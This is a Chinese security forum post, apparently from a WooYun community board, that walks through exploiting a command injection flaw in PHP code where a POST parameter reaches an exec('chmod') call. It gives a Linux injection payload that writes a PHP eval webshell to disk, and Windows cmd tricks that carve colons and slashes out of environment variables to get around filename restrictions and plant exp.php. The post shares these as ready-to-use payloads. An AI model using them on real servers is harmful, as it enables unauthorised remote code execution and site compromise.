唉,好羡慕你们这些职业白帽子。。。
这里好像没什么评论交流啊,发的帖子也都很专业的样子,我这么随意好像不太好,唉,不管了,反正我就是来水一帖,希望有人能用得上吧。
有一天,我在XX的过程中,发现一个命令注入漏洞,存在漏洞地方是这样的:
<?
function FDir($homedir, $dper)
{
$dir_yn = mkdir($homedir, $dper);
if($dir_yn)
{
exec("chmod ".$dper." ".$homedir);
return true;
}
else
{
return false;
}
}
$config_id = $_POST[config_id];
$config_id = "some_str_here_".$tconfig_id;
......
$object->insert($config_id, $table_name);
......
FDir("../data/".$config_id."_data", 777);
?>
很明显的,$homedir存在命令注入漏洞,只是在命令执行前,需要mkdir成功。
Linux系统就很简单了:
;var1=;${var1:=<?php @eval($};var2=;${var2:=_POST['ech0!']);?>};echo $var1$var2>..$(expr substr $(pwd) 1 1)data$(expr substr $(pwd) 1 1)exp.php;
而windows系统,想要mkdir成功的话,文件名不能包含任何下列字符之一:
\/:*?"<>|
在不允许有以上字符的情况下,怎么构造注入命令呢,下面是我构造的,希望有人能用的上。
命令嘛,肯定要用到一些特殊字符,比如斜杠啊什么的,但是斜杠被限制了,那么我们的思路是从环境变量里截取出来,但是截取命令又需要用到冒号,这里冒号也被限制了。
那么我们要做到不直接用冒号来截取冒号,可以吗?可以的。
set C=%systemdrive%&call set var=%%C%~1,1%
call echo %var%
:
你要的冒号,出来了。
我们再把斜杠凑出来:
set C=%systemdrive%&set v1=w&set w=%windir%&call set v2=%%C%~1,1%&call call set v3=%v1%%v2%~2,1%&call call set v4=%%v3%
v4就是斜杠了
我们用他们来构造一个copy命令:
set C=%systemdrive%&set F=w&set w=%tmp%&call set U=%%C%~1,1%&call call set K=%F%%U%~2,1%&call call set H=%%K%&set t=temp&call copy %C%%H%%t%%H%target.tmp exp.php
这个就是将C:\temp\target.txt 给复制到当前工作目录,格式转php。
能执行命令了。
祝好!
致敬 zone.wooyun.org
by YiYang